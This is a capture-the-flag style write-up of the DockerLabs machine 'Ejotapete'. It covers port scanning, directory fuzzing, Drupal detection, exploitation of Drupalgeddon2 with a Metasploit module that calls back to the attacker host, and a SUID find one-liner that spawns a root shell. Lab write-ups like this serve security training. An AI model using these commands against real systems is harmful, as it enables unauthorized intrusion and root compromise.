> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/very-easy/ejotapete.md).

# Ejotapete

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: port 80 is open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 80 -sS -Pn -sCV`

<figure><img src="/files/kQx6VYQcbPNN4sCkJgjE" alt=""><figcaption><p>(Ejotapete) Targeted Port Scan</p></figcaption></figure>

We tried to find exploits or shellcodes using `searchsploit` but there wasn't any. Our next step will be directory enumeration. Using our tool `ffuf-dir`:

```
ffuf-dir () {
	ffuf -u $1 -w /usr/share/wordlists/dirb/big.txt ${@: 2} -e .html,.php,.txt
}
```

we did `ffuf-dir http://172.17.0.2/FUZZ` and we found the following routes:

<figure><img src="/files/GxWNVxlMrvwmwbUJmLhh" alt=""><figcaption><p>(Ejotapete) FFUF Routes</p></figcaption></figure>

Escaneandolo con:

```
droopescan scan drupal -u http://172.17.0.2/drupal
```

we found that is running Drupal 8.5.0, a version vulnerable to Drupalgeddon. There is a metasploit module to exploit it.

## 3 - Exploitation

After opening Metasploit with `msfconsole -q` and running `use exploit/unix/webapp/drupal_drupalgeddon2`, all we have to do is:

```
SET RHOSTS 172.17.0.2
SET LHOST 172.17.0.1
SET TARGETURI /drupal
run
```

## 4 - Privilege Escalation

We can't run `sudo -l` since we don't know the password of `www-data`, so we ran:

```
find / -perm -4000 2>/dev/null
```

and we found SUID bit on /usr/bin/find. Using this GTFOBins exploit will grant us a root shell:

```
/usr/bin/find . -exec /bin/bash -p \; -quit
```

<figure><img src="/files/ivxrdobrwx8pfIRAHnm9" alt=""><figcaption><p>(Ejotapete) Root Shell</p></figcaption></figure>

## 5 - Summary

**Initial Access:**\
Directory enumeration revealed a Drupal 8.5.0 instance. Identified as vulnerable to Drupalgeddon2.

**Exploitation:**\
Used Metasploit module `exploit/unix/webapp/drupal_drupalgeddon2` to gain a shell as `www-data`.

**Privilege Escalation:**\
Found `/usr/bin/find` with SUID bit. Leveraged GTFOBins one-liner to spawn a root shell.